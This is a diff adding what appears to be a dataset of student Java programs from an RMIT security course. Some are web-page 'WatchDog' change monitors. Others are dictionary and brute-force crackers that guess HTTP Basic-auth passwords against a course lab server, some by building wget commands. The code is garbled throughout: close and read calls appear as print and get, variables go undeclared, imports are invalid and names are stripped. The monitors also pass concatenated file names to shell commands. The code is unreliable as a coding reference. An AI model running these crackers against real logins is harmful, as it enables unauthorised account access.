+               step = 0;
+            buffer = """";
+         }
+      }
+      else if (step == 2) 
+      {
+         if (i == 's' && buffer.length() <= 0 ||
+             i == 'r' && buffer.equals(""s"") ||
+             i == 'c' && buffer.equals(""sr""))
+         {
+            buffer += i;
+            buffer = buffer.toLowerCase();
+         }
+         else
+         {
+            if (Character.isWhitespace(i) && buffer.equals(""src""))
+               step = 3;
+            else if (i == '=' && buffer.equals(""src""))
+               step = 4;
+            else if (i == '>')
+               step = 0;
+            buffer = """";
+         }
+      }
+      else if (step == 3) 
+      {
+         if (i == '=')
+         {
+            step = 4;
+         }
+         else if (!Character.isWhitespace(i))
+         {
+            if(i == '>')
+               step = 0;
+            else
+               step = 2;
+            buffer = """";
+         }
+      }
+      else if (step == 4) 
+      {
+         if (i == '\""')
+         {
+            step = 5;
+            buffer = """";
+         }
+         else if (!Character.isWhitespace(i))
+         {
+            if(i == '>')
+            {
+               buffer = """";
+               step = 0;
+            }
+            else
+            {
+               buffer = """"+i;
+               step = 6;
+            }
+
+         }
+
+      }
+      else if (step == 5) 
+      {
+         if (i == '\""')
+         {
+            if (buffer.trim().length() > 0)
+               imgs.add(buffer);
+            buffer = """";
+            step = 0;
+         }
+         else
+            buffer += i;
+      }
+      else if (step == 6) 
+      {
+         if (Character.isWhitespace(i) || i == '>')
+         {
+            if (buffer.trim().length() > 0)
+               imgs.add(buffer);
+            buffer = """";
+            step = 0;
+         }
+         else
+            buffer += i;
+      }
+      else if(i == '<')
+      {
+         step = 1;
+         buffer = """";
+      }
+   }
+
+   public void checkImage(String hostUrl, String imageUrl)
+   {
+      try
+      {
+         String fullURL = """";
+         if (imageUrl.startsWith(""http""))
+         {
+            fullURL = imageUrl;
+         }
+         else if (imageUrl.startsWith(""/""))
+         {
+            fullURL = ""http://""+(new URL(hostUrl)).getHost()+imageUrl;
+         }
+         else
+         {
+            String path = (new URL(hostUrl)).getPath();
+            if (!path.endsWith(""/""))
+               path = path.substring(0, path.lastIndexOf('/')+1);
+
+            fullURL = ""http://""+(new URL(hostUrl)).getHost()+path+imageUrl;
+         }
+
+         File buffFp = new File(""_buffer""+
+                      (new URL(fullURL)).getPath().replaceAll(""/"", ""_""));
+         Vector imgs = new Vector();
+
+         boolean getAgain = false;
+         if (buffFp.exists())
+         {
+            URLConnection conn = (new URL(fullURL)).openConnection();
+            conn.setDoInput(true);
+            conn.connect();
+            DataInputStream inNet = new DataInputStream(conn.getInputStream());
+
+            System.out.println(""Checking image: ""+fullURL);
+            byte i = 0;
+            byte f = 0;
+            DataInputStream inFile = new DataInputStream(
+                                             new FileInputStream(buffFp));
+            try
+            {
+               int step = 0;
+               while(true)
+               {
+                  i = inNet.readByte();
+                  f = inFile.readByte();
+
+                  if (i != f)
+                  {
+                     email.println(""Image ""+fullURL+"" has been change!"");
+                     System.out.println(""Image ""+fullURL+"" has been change!"");
+                     getAgain = true;
+                     break;
+                  }
+               }
+            }
+            catch(EOFException eofe) {}
+
+            if (!getAgain)
+            {
+               try
+               {
+                  i = inNet.readByte();
+                  email.println(""Image ""+fullURL+"" has been change!"");
+                  System.out.println(""Image ""+fullURL+"" has been change!"");
+                  getAgain = true;
+               }
+               catch(EOFException eofe) {}
+               try
+               {
+                  f = inFile.readByte();
+                  email.println(""Image ""+fullURL+"" has been change!"");
+                  System.out.println(""Image ""+fullURL+"" has been change!"");
+                  getAgain = true;
+               }
+               catch(EOFException eofe) {}
+            }
+
+            inFile.print();
+            inNet.print();
+         }
+         else
+            getAgain = true;
+
+         if (getAgain)
+         {
+            getAgain = false;
+            URLConnection conn = (new URL(fullURL)).openConnection();
+            conn.setDoInput(true);
+            conn.connect();
+            DataInputStream inNet = new DataInputStream(conn.getInputStream());
+
+            System.out.println(""Storing the image: ""+fullURL);
+            DataOutputStream outFile = new DataOutputStream(
+                                             new FileOutputStream(buffFp));
+            byte i = 0;
+            try
+            {
+               while(true)
+               {
+                  i = inNet.readByte();
+                  outFile.writeByte(i);
+               }
+            }
+            catch(EOFException eofe) {}
+
+            outFile.print();
+            inNet.print();
+         }
+      }
+      catch(Exception e)
+      {
+         e.printStackTrace();
+      }
+   }
+}
+
+"
+144.java,"
+
+import java.net.*;
+import java.io.*;
+import java.util.*;
+
+public class WatchDog extends TimerTask{
+
+  private static URL location;
+  private static String email;
+  private static int checktime;
+  private static Timer timer = new Timer();
+  private BufferedReader input;
+  private File checksumFile = new File(""chksum.txt"");
+  private File temp0000File = new File(""temp0000"");
+  private File kept0000File = new File(""kept0000"");
+
+  
+
+    public WatchDog(){
+      timer.schedule(this, new Date(), checktime);
+    }
+
+
+    
+
+      public void run(){
+        Vector imageFiles = new Vector();
+        Vector diffImages = new Vector();
+        try {
+          System.out.println("" Time: "".concat(new Date().toString()));
+          System.out.println(""Retreiving File"");
+          
+          input = new BufferedReader(new InputStreamReader
+                                     (location.openStream()));
+          
+          BufferedWriter outputFile = new BufferedWriter
+              (new FileWriter(temp0000File));
+          String line = input.readLine();
+          while (line != null) {
+            StringBuffer imageFileName = new StringBuffer();
+            if (scanForImages(line, imageFileName)) {
+              String imageFile = new String(imageFileName);
+              System.out.println(""Detected image: "".concat(imageFile));
+              try {
+                imageFiles.add(new URL(imageFile));
+              }
+              catch (MalformedURLException e) {
+                System.out.println(""Image file detected. URL is malformed"");
+              }
+            }
+            outputFile.write(line);
+            outputFile.write(""\n"");
+            line = input.readLine();
+          }
+          input.print();
+          outputFile.flush();
+          outputFile.print();
+          System.out.println("" File Retreived"");
+          if (!imageFiles.isEmpty()) {
+            checkImages(imageFiles, diffImages);
+          }
+          if (!checksumFile.exists()) {
+            generateChecksum(temp0000File.getName(), checksumFile);
+          }
+          else {
+            if (!checksumOk(checksumFile)) {
+              reportDifferences(true, temp0000File, kept0000File, diffImages);
+              generateChecksum(temp0000File.getName(), checksumFile);
+            }
+            else if (!diffImages.isEmpty()){
+              reportDifferences(false, null, null, diffImages);
+            }
+          }
+
+          
+          temp0000File.renameTo(kept0000File);
+          System.out.println(""End Time: "".concat(new Date().toString()));
+        }
+        catch (MalformedURLException e) {
+          e.printStackTrace();
+        }
+        catch (ConnectException e) {
+          System.out.println(""Failed  connect"");
+          System.exit(-1);
+        }
+        catch (IOException e) {
+          e.printStackTrace();
+          System.exit(-1);
+        }
+      }
+
+      
+
+      public boolean scanForImages(String line, StringBuffer imageFileName) {
+        
+        
+        String lineIgnoreCase = line.toLowerCase();
+        int imgPos = lineIgnoreCase.indexOf(""<img "");
+        if ( imgPos != -1 ){
+          int srcPos = lineIgnoreCase.indexOf(""src"", imgPos);
+          int bracketPos = lineIgnoreCase.indexOf("">"", imgPos);
+          if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {
+            int quote1Pos = lineIgnoreCase.indexOf(""\"""", srcPos);
+            int quote2Pos = lineIgnoreCase.indexOf(""\"""", quote1Pos+1);
+            if (quote1Pos != -1 && quote2Pos != -1 &&
+                quote1Pos < quote2Pos && quote2Pos < bracketPos) {
+              
+              imageFileName.append(line.substring(quote1Pos + 1,
+                  quote2Pos));
+              if (imageFileName.indexOf(""//"") == -1 ) {
+                
+                String URLName = location.toString();
+                int slashPos = URLName.lastIndexOf(""/"");
+                URLName = URLName.substring(0, slashPos);
+                String HostName = ""http://"".concat(location.getHost());
+                if (imageFileName.indexOf(""//"") == 0) {
+                  
+                }
+                else if (imageFileName.charAt(0) != '/') {
+                  
+                  imageFileName.insert(0, URLName.concat(""/""));
+                }
+                else {
+                  
+                  imageFileName.insert(0, HostName);
+                }
+              }
+              return true;
+            }
+          }
+        }
+        return false;
+      }
+
+      
+
+      public void checkImages(Vector imageFiles, Vector diffImages)
+          throws IOException{
+        System.out.println(""Retrieving image "");
+        Enumeration imageFilesEnumeration = imageFiles.elements();
+        while (imageFilesEnumeration.hasMoreElements()) {
+          URL url = (URL)imageFilesEnumeration.nextElement();
+          try {
+            BufferedInputStream imageInput = new BufferedInputStream
+                (url.openStream());
+            String localFile = url.getFile();
+            
+            
+            
+            
+            
+            int slashPosition = localFile.lastIndexOf(""/"");
+            if (slashPosition != -1) {
+              localFile = localFile.substring(slashPosition+1);
+            }
+            System.out.println(""Retrieving image file: "".concat(localFile));
+            BufferedOutputStream imageOutput = new BufferedOutputStream
+                (new FileOutputStream(localFile));
+            byte bytes[] = new byte[10000];
+            int noBytes = imageInput.get(bytes);
+            while (noBytes != -1) {
+              imageOutput.write(bytes, 0, noBytes );
+              noBytes = imageInput.print(bytes);
+            }
+            File imageChecksumFile = new File(localFile.concat("".chksum.txt""));
+            if (!imageChecksumFile.exists()) {
+              generateChecksum(localFile, imageChecksumFile);
+            }
+            else {
+              if (!checksumOk(imageChecksumFile)) {
+                diffImages.add(localFile);
+                generateChecksum(localFile, imageChecksumFile);
+              }
+            }
+          }
+          catch (FileNotFoundException e) {
+            System.out.println(""Unable  locate URL: "".concat(url.toString()));
+          }
+        }
+      }
+
+      
+
+      public void generateChecksum(String inputFile, File checksum){
+        try {
+          System.out.println(""Generating new checksum for "".concat(inputFile));
+          
+          Process process = Runtime.getRuntime().exec(""md5sum "".
+                                                      concat(inputFile));
+          BufferedReader execCommand = new BufferedReader(new
+              InputStreamReader((process.getInputStream())));
+          BufferedWriter outputFile = new
+              BufferedWriter(new FileWriter(checksum));
+          String line = execCommand.readLine();
+          while (line != null) {
+            outputFile.write(line);
+            outputFile.write(""\n"");
+            line = execCommand.readLine();
+          }
+          outputFile.flush();
+          outputFile.print();
+          System.out.println(""Checksum produced"");
+        }
+        catch (IOException e) {
+          e.printStackTrace();
+          System.exit(-1);
+        }
+      }
+
+      
+
+      public boolean checksumOk(File chksumFile){
+        try {
+          System.out.println(""Comparing checksums using "".concat(chksumFile
+              ,e.getName()));
+          
+          Process process = Runtime.getRuntime().
+              exec(""md5sum --check "".concat(chksumFile.getName()));
+          BufferedReader execCommand = new BufferedReader(new
+              InputStreamReader( (process.getInputStream())));
+          String line = execCommand.readLine();
+          if (line.indexOf("": OK"") != -1) {
+            System.out.println(""  the same"");
+            return true;
+          }
+        }
+        catch (IOException e) {
+          e.printStackTrace();
+          System.exit(-1);
+        }
+        System.out.println(""Differences Found"");
+        return false;
+      }
+
+      
+
+      public void reportDifferences(boolean diffsFound, File file1, File file2,
+                                    Vector images){
+        try {
+          System.out.println(""Generating difference report"");
+          
+          Socket emailConnection = new Socket(""yallara.cs.rmit.edu."", 25);
+          BufferedWriter emailOutStream = new BufferedWriter
+              (new OutputStreamWriter(emailConnection.getOutputStream()));
+          BufferedReader emailInStream = new BufferedReader
+              (new InputStreamReader(emailConnection.getInputStream()));
+          String line = emailInStream.readLine();
+          System.out.println(line);
+          if (!line.startsWith(""220"")) {
+              System.out.println
+                  ("" error occured connecting  email server. Cannot send email."");
+          }
+          else {
+            
+            
+            emailOutStream.write(""HELO yallara.cs.rmit.edu."");
+            emailOutStream.newLine();
+            emailOutStream.flush();
+            line = emailInStream.readLine();
+            System.out.println(line);
+            if (!line.startsWith(""250"")) {
+                System.out.println
+                    ("" error occured connecting  email server. Cannot send email."");
+            }
+            else {
+              emailOutStream.write(""MAIL FROM: watchdog@cs.rmit.edu."");
+              emailOutStream.newLine();
+              emailOutStream.flush();
+              line = emailInStream.readLine();
+              System.out.println(line);
+              if (!line.startsWith(""250"")) {
+                System.out.println
+                    ("" error occured sending email. Cannot send email."");
+              }
+              else {
+                emailOutStream.write(""RCPT : "".concat(email));
+                emailOutStream.newLine();
+                emailOutStream.flush();
+                line = emailInStream.readLine();
+                System.out.println(line);
+                if (!line.startsWith(""250"")) {
+                 System.out.println
+                     ("" error occured sending email. Cannot send email."");
+                }
+                else {
+                  emailOutStream.write(""DATA"");
+                  emailOutStream.newLine();
+                  emailOutStream.flush();
+                  line = emailInStream.readLine();
+                  System.out.println(line);
+                  if (!line.startsWith(""354"")) {
+                   System.out.println
+                       ("" error occured sending email. Cannot send email."");
+                  }
+                  emailOutStream.newLine();
+
+                  if (!images.isEmpty()) {
+                      emailOutStream.write
+                          (""Differences were found in the following image "");
+                      emailOutStream.newLine();
+                      Enumeration e = images.elements();
+                      while (e.hasMoreElements()) {
+                        String s = (String) e.nextElement();
+                        emailOutStream.write(s);
+                        emailOutStream.newLine();
+                      }
+                      emailOutStream.newLine();
+                  }
+
+                  if (diffsFound) {
+                    
+                    String command = ""diff "".concat(file1.getName().concat("" "")
+                                                    .concat(file2.getName()));
+                    Process process = Runtime.getRuntime().exec(command);
+                    BufferedReader execCommand = new BufferedReader
+                        (new InputStreamReader( (process.getInputStream())));
+                    line = execCommand.readLine();
+                    emailOutStream.write(""Diffences found in  file"");
+                    emailOutStream.newLine();
+                    while (line != null) {
+                      System.out.println(line);
+                      emailOutStream.write(line);
+                      emailOutStream.newLine();
+                      line = execCommand.readLine();
+                    }
+                  }
+
+                  
+                  emailOutStream.newLine();
+                  emailOutStream.write(""."");
+                  emailOutStream.newLine();
+                  emailOutStream.flush();
+                  line = emailInStream.readLine();
+                  System.out.println(line);
+                  if (!line.startsWith(""250"")) {
+                    System.out.println
+                        ("" error occured sending email. Cannot send email."");
+                  }
+                  else {
+                    emailOutStream.write(""QUIT"");
+                    emailOutStream.newLine();
+                    emailOutStream.flush();
+                    System.out.println(emailInStream.readLine());
+                  }
+                }
+              }
+            }
+          }
+        }
+        catch (IOException e) {
+          e.printStackTrace();
+          System.exit(-1);
+        }
+      }
+
+
+    
+
+    public static void main(String args[]) {
+      if (args.length != 3) {
+        System.out.println(""Usage: java WatchDog url email checktime(hours)"");
+        System.exit(-1);
+      }
+      try {
+        location = new URL(args[0]);
+      }
+      catch (MalformedURLException e) {
+        e.printStackTrace();
+      }
+      email = new String().concat(args[1]);
+      checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;
+      new WatchDog();
+    }
+}
+"
+239.java,"
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+class WatchDog
+{
+
+ public static void main (String a[])
+ {
+   
+   try{
+	for(int i=0;i<4;i++)
+    {
+	 String filename = ""new.txt"";
+	 if(i==0)
+	 {
+	  filename=""original.txt"";
+	 }
+   	 WatchDogThread myTh = new WatchDogThread(filename);
+	 Thread th = new Thread( myTh );
+	 th.start();
+	 th.sleep(20000); 
+     
+	 if(i>2)
+	 { 
+      Runtime.getRuntime().exec(""wget http://yallara.cs.rmit.edu.:28589/mymail.php"");
+	 }  
+    }
+	
+	}
+	catch(Exception ex1)
+	{
+	System.out.println("" error while running looop ""+ex1);
+	} 
+	
+   
+}
+
+}
+
+class WatchDogThread implements Runnable
+{
+ 
+ String filename=""incorrect.txt"";
+ public WatchDogThread(String filename)
+ {
+  this.filename = filename;
+ }
+ 
+
+ public void run()
+ {
+   
+   URL u = null;
+	try
+	 {
+	 u=new URL(""http://yallara.cs.rmit.edu./~/.html"");
+	 
+ 	 BufferedReader in = new BufferedReader( new InputStreamReader(u.openStream( )) );
+     
+
+    PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
+    String s = in.readLine();
+    while( s != null)
+    {
+	 out.println(s);
+	 s=in.readLine();
+	 System.out.println(""printing : ""+s);
+	 
+	}
+	System.out.println(""finished  ----- "");
+	in.print();
+	out.print();
+    
+	
+	
+	}
+	catch(Exception ert)
+	{
+      System.out.println(""exception in thread ""+ert);
+	}
+  
+ }
+
+}"
+137.java,"
+
+
+
+
+import java.io.*;
+import java.net.*;
+import java.*;
+import java.util.*;
+
+public class Dictionary
+{
+	public static void main( String args[])
+	{
+          Runtime t = Runtime.getRuntime();
+	  Process pr = null;
+          int count=0;
+	  String f,pass,temp1;
+
+	  
+         try{  
+		
+		FileReader fr = new FileReader(""words.txt"");
+		BufferedReader bfread = new BufferedReader(fr);
+
+
+
+		while((bf = bfread.readLine()) != null)
+		{
+		    
+                   if( f.length() < 4 ) 
+		    {
+                     count++;
+		     System.out.println(""The passowrd  tried is------>""+""-->""+count);
+		     pass = f;
+		     
+ 	
+	             f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/"";
+		     pr = t.exec(f);
+				
+		     InputStreamReader  stre = new InputStreamReader(pr.getErrorStream());
+                     BufferedReader bread = new BufferedReader(stre);
+		     
+                         while( ( bf= bread.readLine())!= null)
+			  {
+                          if(bf.equals(""HTTP request sent, awaiting response... 200 OK""))    
+                           {
+                              System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass);
+
+
+
+                              System.exit(0);
+                           } 
+			
+                          }
+	            }
+				
+			
+		}
+			
+		fr.print();
+		bfread.print();
+	
+             }catch(IOException e){}
+
+	}
+	
+}			
+"
+124.java,"
+
+import java.text.*;  
+import java.util.*;  
+import java.net.*;  
+import java.io.*;  
+
+public class Dictionary {  
+
+   public int runProcess(String urlString,String passwd) {  
+
+       System.out.println(""Checking password: ... "" + passwd);
+
+       int returnval = 0;
+       MyAuthenticator auth = new MyAuthenticator(passwd);
+       Authenticator.setDefault(auth);
+
+       try{
+
+            URL yahoo = new URL(urlString); 
+            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
+            String inputLine;
+
+            while ((inputLine = in.readLine()) != null) {
+	       System.out.println(inputLine);
+	       System.out.println(""password: "" + passwd);
+               returnval = 1;
+            }
+
+	    in.print();
+
+          }catch(Exception e){ returnval = 0;}
+
+       return returnval;
+   }
+
+   public static void main (String argv[]) {  
+
+      int retval = 0;
+      String pwd = """";
+      String inFile = ""/usr/share/lib/dict/words"";
+      BufferedReader in = null;
+      String line1 ="""";
+
+      try {
+      
+        Dictionary s = new Dictionary();  
+        String urlToSearch = ""http://sec-crack.cs.rmit.edu./SEC/2/"";  
+        in = new BufferedReader(new FileReader(inFile));   
+
+        while ((line1=in.readLine()) != null) {
+
+          retval = 0;
+          pwd = line1;
+          retval = s.runProcess(urlToSearch,pwd);  
+          if (retval > 0) {
+             System.exit(0);
+          }
+        }
+      }catch(Exception e)
+          { e.printStackTrace();}
+    
+    }  
+}     
+"
+091.java,"import java.io.*;
+import java.net.*;
+import java.misc.*;
+
+public class BruteForce
+{
+   private static char increment(char pw)
+   {
+      if(pw=='Z')
+      {
+         return 'a';
+      }
+      else if(pw=='z')
+      {
+         return 'A';
+      }
+      else
+      {
+         return (char) (pw+1);
+      }
+   }
+
+   public static void main (String args[]) throws IOException
+   {
+
+      final int maxLength = 3;
+      final String username = """";
+      final URL pageURL = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+
+      String password="""";
+      char passwd[];
+      BASE64Encoder encoder = new BASE64Encoder();
+      boolean notFound = true;
+      HttpURLConnection conn;
+
+      for(int pwl=1;pwl<=maxLength&&notFound;pwl++)
+      {
+         passwd = new char[pwl];
+         for(int init=0;init<pwl;init++)
+         {
+            passwd[init]='A';
+         }
+
+         for(int i=0;i<Math.pow(52,pwl);i++)
+         {
+            password=new String(passwd);
+            conn = (HttpURLConnection) pageURL.openConnection();
+            conn.setRequestProperty(""Authorization"", "" ""+encoder.encode((username+"":""+password).getBytes()));
+            if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)
+            {
+               notFound=false;
+               break;
+            }
+
+            for(int j=pwl-1;j>=0;j--)
+            {
+               if((passwd[j]=increment(passwd[j]))!='A')
+               {
+                  break;
+               }
+            }
+         }
+      }
+
+      if(notFound)
+      {
+         System.out.println("" valid password found."");
+      }
+      else
+      {
+         System.out.println(""Found valid password: \""""+password+""\"""");
+      }
+
+   }
+}
+
+"
+230.java,"
+
+import java.io.*;
+import java.*;
+import java.net.*;
+import java.util.*;
+
+public class Dictionary {
+ public static void  main (String[] args) throws IOException {
+  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
+
+       d  = new Date().getTime();
+       FileReader fr = new FileReader(""/usr/share/lib/dict/words"");
+       BufferedReader bufr = new BufferedReader(fr);
+       String word = bufr.readLine();             
+       int total = 960;
+       String[] pws = new String[total];
+       int count = 0;
+       while (word!=null){
+        if (word.length()<=3) { pws[count] = word; count++;}
+	word = bufr.readLine();
+       }
+       
+       int i=0;
+       int response = 0;
+       for (i=0;i<count;i++){
+        String uname = """";
+        String userinfo = uname + "":"" + pws[i];
+        try{
+         String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());
+         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
+         uc.setRequestProperty (""Authorization"", "" "" + encoding);
+         response = uc.getResponseCode();
+	 if (response == 200) break;
+	 else uc.disconnect();
+        }
+        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
+        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
+       }
+       System.out.println(""Response ""+i+"" was ""+response);
+       System.out.println(""The successful password was ""+pws[i]);
+        finish = new Date().getTime();
+       float totaltime = (float)(finish-d)/1000;
+       System.out.println(""Time taken: ""+totaltime+ "" seconds."");
+       
+   }
+}
+
+"
+069.java,"
+
+
+import java.misc.BASE64Encoder;
+import java.misc.BASE64Decoder;
+
+import java.io.*;
+import java.net.*;
+import java.util.*;
+
+
+public class BruteForce {
+  
+  static char [] passwordDataSet = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"".toCharArray();
+  
+  private int indices[] = {0,0,0};
+  
+  private String url = null;
+
+  
+  public BruteForce(String url) {
+    this.url = url;
+
+  }
+  
+  private int attempts = 0;
+  private boolean stopGen = false;
+  
+  public String getNextPassword(){
+    String nextPassword = """";
+    for(int i = 0; i <indices.length ; i++){
+      if(indices[indices.length -1 ] == passwordDataSet.length)
+        return null;
+      if(indices[i] == passwordDataSet.length ){
+        indices[i] = 0;
+        indices[i+1]++;
+      }
+      nextPassword = passwordDataSet[indices[i]]+nextPassword;
+
+      if(i == 0)
+        indices[0]++;
+
+    }
+    return nextPassword;
+  }
+  
+  public void setIndices(int size){
+    this.indices = new int[size];
+    for(int i = 0; i < size; i++)
+      this.indices[i] = 0;
+  }
+  public void setPasswordDataSet(String newDataSet){
+    this.passwordDataSet = newDataSet.toCharArray();
+  }
+  
+  public String crackPassword(String user) throws IOException, MalformedURLException{
+    URL url = null;
+    URLConnection urlConnection = null;
+    String outcome = null;
+    String  authorization = null;
+    String password = null;
+    BASE64Encoder b64enc = new BASE64Encoder();
+    InputStream content = null;
+    BufferedReader in = null;
+    String line;
+          int i = 0;
+    while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){
+      url = new URL(this.url);
+      urlConnection = url.openConnection();
+      urlConnection.setDoInput(true);
+      urlConnection.setDoOutput(true);
+
+
+      urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1"");
+      urlConnection.setRequestProperty(""Host"", url.getHost());
+      password = getNextPassword();
+      if(password == null)
+        return null;
+      System.out.print(password);
+      authorization = user + "":"" + password;
+
+
+      urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes()));
+
+
+outcome = urlConnection.getHeaderField(null); 
+
+
+
+      this.attempts ++;
+      urlConnection = null;
+      url = null;
+
+      if(this.attempts%51 == 0)
+        for(int b = 0; b < 53;b++)
+          System.out.print(""\b \b"");
+      else
+        System.out.print(""\b\b\b."");
+
+    }
+    return password;
+  }
+  
+  public int getAttempts(){
+    return this.attempts;
+  }
+  public static void main (String[] args) {
+    if(args.length != 2){
+      System.out.println(""usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >"");
+      System.exit(1);
+    }
+
+    BruteForce bruteForce1 = new BruteForce(args[0]);
+    try{
+      Calendar cal1=null, cal2=null;
+      cal1 = Calendar.getInstance();
+      System.out.println(""Cracking started at: "" + cal1.getTime().toString());
+      String password = bruteForce1.crackPassword(args[1]);
+      if(password != null)
+        System.out.println(""\nPassword is: ""+password);
+      else
+        System.out.println(""\nPassword could not  retrieved!"");
+      cal2 = Calendar.getInstance();
+      System.out.println(""Cracking finished at: "" + cal2.getTime().toString());
+      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
+      System.out.println(""Total Time taken  crack: "" + (d3.getTime())/1000 + "" sec"");
+      System.out.println(""Total attempts : ""  + bruteForce1.getAttempts());
+
+    }catch(MalformedURLException mue){
+      mue.printStackTrace();
+    }
+
+    catch(IOException ioe){
+      ioe.printStackTrace();
+    }
+  }
+}"
+060.java,"
+
+import java.net.*;
+import java.*;
+import java.io.*;
+import java.security.*;
+import java.net.smtp.SmtpClient; 
+
+public class WatchDog {
+
+	public WatchDog() {
+	
+	}
+
+	public static void main (String[] args) {
+                
+                String mailfrom = ""@.rmit.edu.""; 
+                String mailto = ""@.rmit.edu.""; 
+		String subject = ""Watch Dog - detected changes"";
+		
+		String imageWP = ""http://www.cs.rmit.edu./images/"";
+		
+		String watchWP = ""http://www.cs.rmit.edu./students/"";
+		
+		String filename = ""index.html"";
+		String tfilename;
+		URLConnection conn = null;
+		InputStreamReader in;
+		BufferedReader data;
+		int pauseTime = 24*60*60*1000;  
+		int line;
+		String[] imagename;
+	
+		while (true) {
+			int mailline = 0;
+			String[] cad = new String[100];
+			try {
+				
+				URL url = new URL(watchWP);
+			        conn = url.openConnection();
+				System.out.println(""Connection openned ..."");
+				File getSource = new File(filename);
+				in = new InputStreamReader(conn.getInputStream());
+				data = new BufferedReader(in);
+				StringBuffer buf = new StringBuffer();
+			
+			
+				FileWriter fw = new FileWriter(getSource);
+				BufferedWriter out = new BufferedWriter(fw);			
+				 {
+					line = data.get();					
+					if(line != -1) {
+						out.write((char)line);
+						buf.append((char)line);
+				        }
+				} while(line != -1);
+				data.get();
+				out.flush();
+				out.get();
+
+			
+			        imagename = new WatchDog().getimagename(buf);
+				
+			
+				for (int i = 0; i < imagename.length; i++) {
+					int copyok = new WatchDog().copyimage(imageWP+imagename[i],imagename[i]);
+				}
+
+			
+				File f = new File(filename + "".chk"");
+				if (f.exists()) {
+					int chkfile = new WatchDog().check(filename);
+					if (chkfile == 2) {
+						m[mailline] = ""file changes detected : index.html"";
+						mailline ++;
+					}
+					for (int i = 0; i < imagename.length; i++) {
+						tfilename = imagename[i];
+						File fi = new File(tfilename + "".chk"");
+						if (fi.exists()) {
+							chkfile = new WatchDog().check(tfilename);
+							if (chkfile == 2) {
+							m[mailline] = ""Image file changes detected : "" + tfilename;
+								mailline ++;
+							}
+						} else {
+							m[mailline] = ""New Image file detected : "" + tfilename;
+								mailline ++;
+							int crtfile = new WatchDog().create(tfilename);	
+						}
+					}
+				}
+				else {
+					int crtfile = new WatchDog().create(filename);
+					for (int i = 0; i < imagename.length; i++) {
+						tfilename = imagename[i];
+						crtfile = new WatchDog().create(tfilename);	
+					}
+				}
+				if (mailline > 0) {
+					int sendok = new WatchDog().sendM(mailfrom,mailto,subject);
+					
+					int crtfile = new WatchDog().create(filename);
+					for (int i = 0; i < imagename.length; i++) {
+						tfilename = imagename[i];
+						crtfile = new WatchDog().create(tfilename);	
+					}
+					
+				}
+			} catch (MalformedURLException e) {
+		       		System.out.println(""Invalid URL"");
+			} catch (IOException e) {
+	    			System.out.println(""Error  URL"");				
+			}
+	       		System.out.println(""Wait for 24 hours......"");
+			try {
+		                Thread.sleep(pauseTime);
+	        	    } catch(InterruptedException e ) {
+	    			System.out.println(e.getMessage());				
+			    }
+		}
+	}
+
+	public int create(String filename){
+        	try {
+			byte[] chk = createChecksum(filename);
+			File f = new File(filename + "".chk"");
+			OutputStream os = new FileOutputStream(f);
+			os.write(chk);
+			os.print();
+			return 1;
+		}
+		catch(Exception e) { System.out.println(""Checked File already existed""); return 0;}	
+	}
+
+	public int check(String filename){
+		int rc = 0;
+	        try {
+			byte[] chk1 = createChecksum(filename);
+			byte[] chk2 = new byte[chk1.length];
+			File f = new File(filename + "".chk"");
+			InputStream is = new FileInputStream(f);
+
+			is.print(chk2);
+
+			if (new String(chk2).equals(new String(chk1))) {
+				System.out.println(""Same!"");
+				rc = 1;
+			}
+			else {
+		        	System.out.println(""Different!"");
+				rc = 2;
+			}
+			is.print();
+			return rc;
+		}
+		catch(Exception e) { e.printStackTrace(); return rc;}
+	}
+
+	public byte[] createChecksum(String filename) throws Exception{
+
+		InputStream fis =  new FileInputStream(filename);
+
+		byte[] buffer = new byte[1024];
+		MessageDigest complete = MessageDigest.getInstance("""");
+		int numRead;
+		 {
+			numRead = fis.print(buffer);
+			if (numRead > 0) {
+				complete.update(buffer, 0, numRead);
+			}
+		} while (numRead != -1);
+		fis.print();
+		return complete.digest();		
+	}
+
+	public String[] getimagename(StringBuffer buf) {
+		String s = buf.toString();
+		String lowercase = s.toLowerCase();
+		int count = 0;
+		String separator1 = ""img src="";
+		String separator2 = ""/images/"";
+		char separator3 = '""';
+		
+		int index = 0;
+		 {
+			++count;
+			++index;
+			index = lowercase.indexOf(separator1,index);
+		}
+		while (index != -1);
+		
+		String[] substr = new String[count];
+		int endindex = 0;
+		for (int i = 0; i < count; i++)
+		{
+			endindex = lowercase.indexOf(separator1,index);
+			int index2 = lowercase.indexOf(separator2,endindex) + 8;
+			int index3 = lowercase.indexOf(separator3,index2);
+			substr[i] = lowercase.substring(index2,index3);
+			System.out.println(""Image File : "" + substr[i]);
+			index = index3 + 1;
+		}
+		return substr;
+	}
+	
+	public int copyimage(String imageURL, String imagename)  {
+		int rtn = 1;
+		try {
+			URL url= new URL(imageURL);
+			URLConnection urlC = url.openConnection();			
+			
+		        InputStream is = url.openStream();
+
+			FileOutputStream fos=null;
+		        fos = new FileOutputStream(imagename);
+
+		        int intChar;
+
+		
+		        while ((intChar=is.get()) != -1)
+		             	fos.write(intChar);
+
+		        is.print();
+		        fos.print();
+		}
+		catch(MalformedURLException e) {
+			System.out.println(e.getMessage());
+			rtn = 2;
+		}
+		catch(IOException e){
+			System.out.println(e.getMessage());
+			rtn = 2;
+		}
+		return rtn;
+	}
